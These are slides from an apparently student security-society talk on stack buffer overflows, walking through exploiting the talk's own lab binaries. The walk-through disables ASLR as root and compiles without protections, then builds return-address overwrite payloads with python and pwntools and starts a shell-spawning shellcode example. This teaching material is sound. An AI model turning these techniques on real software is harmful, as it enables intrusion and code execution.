Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
---
title: "Smashing the Stack"
author: "DanG42"
# Introduction
## Hello COMSEC!!!
> Thanks for letting me come an Talk
## Stack Smashing
- The Best[^best] Part of Cyber security
- Proper Computer Science
[^best]: IMO, but sometimes I get carried away with other shiney hacks
## Rough Overview
- WTF is the Stack
- How do We Smash it.
- Redirecting application flow
- "Classic" Overflows
## No ROP??
- Be patient
- Next week with Greg (or Me)
## What are Overflows
- We end up in a bit of memory we should be in
- Usually we get crash
- But could change behaviour of program
## Why they occur
- A lot of it is down to "poor" programming
- (trusting the user to input the correct thing)
- In C/C++ Memory for variables such as strings is pre-allocated.
- The program expects us to respect this.
- The Compiler expects us to be **good coders** and understand the dangers.
- Allows us to allocate too much space and overwrite other parts
of memory
- Its really easy to do this by mistake.
- C / C++ Segfaults
# The Stack
## WTF is the Stack
- Program memory for currently running processes
- Keeps track of Function calls, variables etc
- Fundamental for making programs work.
- Otherwise we would have to load EVERY option into memory at the start.
## The Stack
- Memory is organsised as a stack (First In-Last Out)
- Each Process is allocated a "chunk" of memory the **stack frame**
- Contains Variables, Data, and Pointers to other locations
- Efficent, and allows branching etc, to be dealt with in a sane way
- As a new process happens, the relevant space is dynamically
allocated.
## Stack Frames
So How do we represent a Process.....
## Stack Frames
Name Value
--------- --------------------------
SP (Top item in stack)
Data (I.e. Variables)
BP (Base of Frame)
IP (Next Instruction to run)
Args (1) (Function Args)
Args (2)
## The IP
- Instruction Pointer: A Register that tells the program the memory address to return
to
- Also Known as
- EIP (32 bit)
- RIP (64 bit)
- If we control this we control program flow
## In Action
hello.c
```c
#include <stdio.h>
int add(int var1, int var2){
//Add two numbers
int total;
total = var1+var2;
}
void main(int argv, char* argc){
//Function call
int total = add(10, 20);
printf("Total is %d \n", total);
}
```
## GDB
Can pull a program aprat in this
Start with
- ```gdb program```
View Assemby
- ```set disassembly flavor intel```
- ```disass main```
## R2
- There is Also Radare / Cutter
- Though that's another talk
## Allocating Space
- Function variables are allocated space on the stack
- We have a "Slot" of memory saved for the data
## Allocating Space
```
int add(int var1, var2){
#Add two numbers
int total;
total = var1+var2;
}
```
## Allocating Space
- gdb
- break add #Breakpoint
- x/10c @esp #Examine data in stack
- show vars changing
# Enough Of this Lets Break things
## How things break
- We go over the space allocated for a var
- REMEMBER that IP is below the data
- So if we co far enough we can change what IP is...
## C Strings
- Firstly. Dont google image search them, Horrible things happen
- Remember a string is just a pointer to a chunk of memory
- We start at the address
- Iterate over each character
- Stop when we reach the end of the string (a null byte)
## What happens with C Variables
- Remember C wanted you to specify the size of arrays
- As arguments and data are added, an appropriately sized
**chunk** of memory is allocated on the stack
- However, C doesn't check what you put into an variable is the right
size
- What would happen if we tried to squeeze a 10 Character string
into the 5 allocated units?
## First Overflow
- Shamelessly Inspired by IO
- FirstOverflow.c
## Turning Off Protections
ALSR
```
$sudo su
[sudo] password for dang:
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@dang-laptop Code]# exit
exit
```
## Compile
```
apt install gcc-multlib
```
```
gcc -fno-stack-protector -m32 -g -z execstack firstOverflow.c -o firstOverflow
```
## Running
```
$ ./firstOverflow
Overflow the Buffer
AAAAAA
Off to 0x56556209
Current Memory Address is 0x56556219
Aim for 0x565561dd
Lose :(
```
## And Breaking Stuff
$ ./firstOverflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....AAAAAAAA
Off to 0x41414141
[2] 317135 segmentation fault (core dumped) ./firstOverflow $(python -c "print('A'*200)")
## Whats happenig Here
- 4141414141
- Ascii for "A"
- So we have control of where to go
## Looking in GDB
- We can use GDB for input
- Generate with python -c "print('A'*200)"
- gdb-peda$ run <paste>
## Manually finding EIP
- Binary Search style
- Ok at 100
- Breaks at 200
- Next try is 150
## Pwntools
- Awesome Python Library for this
- I use the python2 version (cuz bytestrings)
## Getting EIP
- ```cyclic 200```
- Feed this into the GDB
## Getting EIP
```
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616167 in ?? ()
```
## Getting the Offset
```
dang@dang-laptop ~/Github/ComsecStacks$ cyclic -l 0x62616167
124
```
## Breaking the Code
- We now now have all the pieces
- Offset
- Location to go to...
## Breaking he Code
- Out Hint
- ```Aim for 0x565561dd```
- Endianness
- ```56 55 61 dd```
## Making a Payload
```python "A"*124 + "\xdd\x61\x55\x56"
./firstOverflow $(python2 -c "print('A'*124 + '\xdd\x61\x55\x56')")
```
## Usnig PwnTools
```
from pwn import *
payload = "A"*124 #Offset
payload += p32(0x565561dd) #Address
print(payload)
## Create a connection to the binary
p = process(["firstOverflow", payload])#payload], shell=True)
p.interactive()
```
## Review
- Find Overflowable Cod
- Find EIP
- Inject Payload
- Win
# Classic Overflows
## A More Complex Example
- Its OK redirecting program flow.
- This time we are going to try to drop a shell
- We need to inject some code into the stack
- Jump to a location near the top of the stack (and the executable
code)
- ....
- Profit
## Requirements
- [ ] Offset
- [ ] JMP Location
- [ ] Payload
## Classic Code
- classic.c
## WE could do this
- Start Breaking in GDB
## Pwn tools
```
p = process("/classic")
raw_input("Attach GDB") #Hack for lack of GDB spawn in my System
p.sendline("A"*500)
```
## Getting the Offset
- Usual cyclic thing
```
$ cyclic -l 0x6361616a
236
```
## Payloads
- [X] Offset
- [ ] JMP Location
- [ ] Payload
## Using Pwntools
- I like msfvenom, but pwn also works
```
context.update(arch='i386', os='linux')
# create a process
# CREATE OUR SHELLCODE
shell = shellcraft.sh()
```
## Payloads
- [X] Offset
- [ ] JMP Location
- [X] Payload
## Where to Jump to
- Rememeber that stuff goes into registers
- So lets look for our data there